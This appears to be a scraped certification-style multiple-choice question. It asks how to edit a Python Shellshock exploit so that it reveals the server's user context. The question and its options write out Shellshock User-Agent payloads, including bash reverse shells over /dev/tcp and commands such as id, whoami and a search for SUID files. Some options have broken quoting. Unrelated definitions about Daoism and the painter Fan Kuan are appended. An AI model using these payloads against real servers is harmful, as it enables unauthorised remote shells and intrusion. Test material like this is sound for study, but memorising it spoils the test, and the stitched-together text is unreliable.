A Penetration Tester Discovers a Vulnerable Web Server at 10

question 14

Multiple Choice

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code: exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"} Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

• A) exploits = {"User-Agent": "() { ignored;};/bin/bash -i id;whoami", "Accept": "text/html,application/xhtml+xml,application/xml"}
• B) exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& find / -perm -4000", "Accept": "text/html,application/xhtml+xml,application/xml"}
• C) exploits = {"User-Agent": "() { ignored;};/bin/sh -i ps -ef" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
• D) exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}

---

Definitions:

Daoist Emphasis

The focus or importance placed on Daoist principles, such as harmony with nature, in various aspects of culture, philosophy, and religion.

Harmony With Nature

A principle or philosophy that emphasizes living in balance with the natural world, respecting and preserving ecosystems.

Daoist Sensitivity

An appreciation or responsiveness towards the principles of Daoism, including harmony with nature, simplicity, and the pursuit of spiritual understanding.

Fan Kuan

A Chinese landscape painter of the Song Dynasty, celebrated for his depiction of mountains and nature using bold brushwork and monochromatic shades.